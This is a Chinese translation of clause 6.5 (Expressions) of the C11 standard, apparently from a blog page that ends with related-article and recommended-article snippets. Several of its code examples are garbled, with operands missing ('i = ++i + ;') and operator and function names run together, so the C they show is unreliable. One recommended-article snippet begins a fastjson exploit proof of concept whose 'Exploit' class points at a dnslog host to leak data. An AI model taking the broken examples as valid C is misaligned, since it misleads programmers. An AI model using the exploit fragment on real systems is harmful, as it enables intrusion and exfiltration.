6.5 表达式

1、一个表达式是操作符与操作数的一个序列,这些操作符与操作数指定了一个值的计算,或指派一个对象或一个函数,或是生成副作用,或执行上述操作的组合。对一个操作符的操作数的值计算顺序排在对该操作符的结果的值计算之前。[译者注:比如

int a = ( + ) * ( - );

对于上述表达式,就对于当中的 * 操作符而言,先计算乘法操作符左右两边的操作数的计算,最后再计算乘法操作结果。

2、如果在一个标量对象上的副作用相对于同一标量对象上的另一个不同副作用或是使用同一标量对象的值的一个值计算,没有为其编排前后次序,那么行为是未定义的。如果一个表达式有多个可允许的子表达式的次序,那么行为是未定义的,如果这么一个未安排次序的副作用以任一次序发生的话。[注:以下代码描述了未定义的语句表达式:

i = ++i + ;
a[i++] = i;

以下是允许的:

i = i + ;
a[i] = i;

3、操作符与操作数的组合通过语法来指定。[注:语法指定了一个表达式计算中操作符的优先级,这与本子条款的主要子条款的次序相同,最高优先级先被介绍。从而,比如,允许作为双目操作符 + 的表达式(6.5.6)是定义在6.5.1到6.5.6中的那些表达式。]例外是投射表达式(6.5.4)作为单目操作符(6.5.3)的操作数,以及跟在任一下列操作符对之后的其中间所包含的一个操作数:用作组合的小括号 (  ) (6.5.1),下标中括号 [  ]  (6.5.2.1),函数调用小括号 (  ) (6.5.2.2),以及条件操作符 ?  : (6.5.15)。在每个主条款中,操作符具有相同的优先级。左或右结合性在每个子条款中被指明,通过用于在里面所讨论的表达式的语法。]除了稍后指定的,副作用与子表达式的值计算不被按次序编排的情况。[注:在一个表达式中,该表达式在一个程序的执行期间被执行多次,并且没有被安排前后次序,对其子表达式的计算也具有不确定的前后次序,那么该表达式不需要在不同计算中执行相一致。]

4、某些操作符(单目操作符 ~ ,以及双目操作符 <<>>&^ ,以及 | ,统称为按位操作符)要求具有整数类型的操作数。这些操作符依赖整数的内部表示来产生值,并且具有对于带符号类型以实现定义的及未定义的方面。[译者注:尤其对于 >> 和 << 作用在带符号整数类型上,不同处理器架构具有不同行为。]

5、如果在一个表达式的计算期间有一个意外情况发生(即,如果结果不是数学上定义的,也不是在其类型可表示的值范围内的),那么行为是未定义的。

6、一个对象的有效类型,用于访问其存储的值,是该对象所声明的类型,如果存在的话。[注:动态分配的对象不具有被声明的类型。]如果一个值被存储在不具有声明类型的一个对象中,通过某个不是一个字符类型的左值,那么该左值的类型变为该对象的有效类型,用于访问以及用于后续访问不修改所存储的值。如果一个值通过memcpymemmove被拷贝到一个不具有声明类型的对象中,或是作为一个字符类型的数组进行拷贝,那么用于访问以及后续不修改值的访问的被修改对象的有效类型是值所被拷贝的源对象的有效类型,如果源对象有有效类型的话。对于所有其它对一个不具有声明类型的对象的访问,该对象的有效类型即为用于访问的左值的类型。

7、一个对象应该让其所存储的值仅通过一个左值表达式来访问,该左值表达式具有以下类型之一:[注:这个列表的目的是用于指定那些在一个对象可以或不可以被别名化的情况。]

——与该对象的有效类型相兼容的一个类型,

——与该对象的有效类型相兼容的一个类型的一个限定版本,

——相应于该对象有效类型的一个带符号或无符号类型,

——相应于该对象的有效类型的一个限定版本的一个带符号或无符号类型

——一个聚合或联合类型,在其成员中包含上述所提到的类型之一(递归地包括一个子集的或所包含的联合体的一个成员),或

——一个字符类型。

8、一个浮点表达式可以被抽象contracted),也就是说,对一个浮点数的计算就好比是一单次操作,而忽略由源代码与表达式计算方法所隐含的舍入错误。[注:在被抽象的表达式中的中间操作被计算,就好到比无穷范围和精度,当最终操作被舍入到由表达式计算方法所确定的格式时。一个抽象的表达式也可能忽略对浮点异常的引发。]在<math.h>中的FP_CONTRACT编译指示提供了一种方法来禁用抽象的表达式。否则,表达式是否被抽象或如何被抽象是由实现定义的。[注:此许可目的专门为允许实现来利用可结合多个C操作的快速机器指令。由于抽象潜在地暗中破坏可预测性,并且甚至可能降低所包含表达式的精度,所以对它们的使用需要被良好定义,并且被清晰地文档化。]

6.5.1 基本表达式

6.5.2 后缀操作符

6.5.3 单目操作符

6.5.4 投射操作符

6.5.5 乘法操作符

6.5.6 加法操作符

6.5.7 按位移位操作符

6.5.8 关系操作符

6.5.9 相等操作符

6.5.10 按位与操作符

6.5.11 按位异或操作符

6.5.12 按位或操作符

6.5.13 逻辑与操作符

6.5.14 逻辑或操作符

6.5.15 条件操作符

6.5.16 赋值操作符

6.5.17 逗号操作符

ISO/IEC 9899:2011 条款6.5——表达式的更多相关文章

  1. ISO/IEC 9899:2011 条款3——术语、定义与符号

    3. 术语.定义与符号 1.对于此国际标准的意图,应用了以下定义.其它术语是在用斜体类型或一个语法规则左侧出现的地方定义.在本国际标准中所显式定义的术语不被假定为对其它地方所定义的类似术语的隐式引用. ...

  2. ISO/IEC 9899:2011 条款5——5.2.1 字符集

    5.2.1 字符集 1.两个字符集和它们相关联的依次顺序应该被定义:写在源文件中的集合(源字符集),以及在执行环境中被解释的集合(执行字符集).每个集合此外被划分为一个基本字符集,其内容由本子条款给出 ...

  3. ISO/IEC 9899:2011 条款6.4.2——标识符

    6.4.2 标识符 6.4.2.1 通用 语法 1.identifier: identifier-nodigit identifier    identifier-nondigit identifie ...

  4. ISO/IEC 9899:2011 条款6.4.3——通用字符名

    6.4.3 通用字符名 语法 1.通用字符名: universal_character-name: \u hex-quad(四位十六进制数) \U hex-quad hex-quad hex-quad ...

  5. ISO/IEC 9899:2011 条款6.5.1——基本表达式

    6.5.1 基本表达式 语法 1.primary-expression: identifier constant string-literal (    expression    ) generic ...

  6. ISO/IEC 9899:2011 条款6.6——常量表达式

    6.6 常量表达式 语法 1.constant-expression conditional-expression 描述 2.一个常量表达式可以在翻译期间被计算,而不是在运行时,并且根据情况可以被用于 ...

  7. ISO/IEC 9899:2011 条款6.8.3——表达式与空语句

    6.8.3 表达式与空语句 语法 1.expression-statement: expressionopt    ; 语义 2.在一条表达式语句中的表达式被计算为一个void表达式作为其副作用.[注 ...

  8. ISO/IEC 9899:2011 条款5——5.1.2 执行环境

    5.1.2 执行环境 1.定义了两个执行环境:独立式(freestanding)以及宿主的(hosted).在这两种情况下,当一个派定的C函数被执行环境调用时,程序就启动.所有具有静态存储周期的对象应 ...

  9. ISO/IEC 9899:2011 条款6——语言

    6 语言 6.1 标记法 1.在本条款中所使用的语法标记法.语义类别(非终结符)用斜体字指示,而字面量单词以及字符集成员(终结符)用粗体字指示.跟在一个非终结符后面的冒号(:)引出其定义.在单独的行中 ...

随机推荐

  1. 超全整理!Linux shell及常用36类命令汇总

    本文采编自http://blog.csdn.net,作者为ZHXGXN,版权归作者所有! 使用Linux shell是一些程序员每天的基本工作,但我们经常会忘记一些有用的shell命令和技巧.当然,命 ...

  2. faster-rcnn在ubuntu16.04环境下的超级详细的配置(转)

    首先,下载好必须要的安装包.为了方便,我已经全部上传在了百度云. - ubuntu16.04系统 链接:http://pan.baidu.com/s/1geU8piz 密码:25mk - cuda8. ...

  3. fastjson ping外带信息poc

    public class Exploit { public Exploit(){ String base_url = ".egpkd5.dnslog.cn"; //你的dnslog ...

  4. 面试官常问的20道Java题目(附答案)-来自Java1234

    1. 以下代码的输出结果是(A) int i =3; i = i++; System.out.println(i); A .3  B.4  C.5 a=b++是先将b值赋值给a后b再自增. 2. Ma ...

  5. DW-ODS

    ODS (操作数据存储) 编辑 讨论 操作数据存储ODS(Operational Data Store)是数据仓库体系结构中的一个可选部分,也被称为贴源层.ODS具备数据仓库的部分特征和OLTP系统的 ...

  6. 基于verilog的分频器设计(奇偶分频原理及其电路实现:上)

    在一个数字系统中往往需要多种频率的时钟脉冲作为驱动源,这样就需要对FPGA的系统时钟(频率太高)进行分频.分频器主要分为奇数分频,偶数分频,半整数分频和小数分频,在对时钟要求不是很严格的FPGA系统中 ...

  7. 繁繁的游戏 Floyd

    繁繁的游戏 Floyd 繁繁想和小伙伴们打游戏,游戏在一个山庄进行,这个山庄有N座山,编号为\(1\)到\(N\),为了方便大 家在不同的山之间移动,繁繁建了一些桥,由于技术的原因,桥连接的两座山的高 ...

  8. 洛谷 P1376 机器工厂 题解

    P1376 机器工厂 题目描述 小T开办了一家机器工厂,在N(N<=10000)个星期内,原材料成本和劳动力价格不断起伏,第i周生产一台机器需要花费Ci(1<=Ci<=5000)元. ...

  9. LOJ2327 「清华集训 2017」福若格斯 【不平等博弈】

    题目链接:LOJ 对于这道题,我们要分3步来做它. 什么是 Surreal Number 及如何解决博弈问题. 如何用 Surreal Number 解决这道题. 推出结论之后如何计数 首先看看这篇文 ...

  10. 44个Java性能优化

    44个Java性能优化 首先,代码优化的目标是: 减小代码的体积 提高代码运行效率 代码优化细节 1 .尽量指定类.方法的final修饰符 ​ 带有final修饰符的类是不可派生的.在Java核心AP ...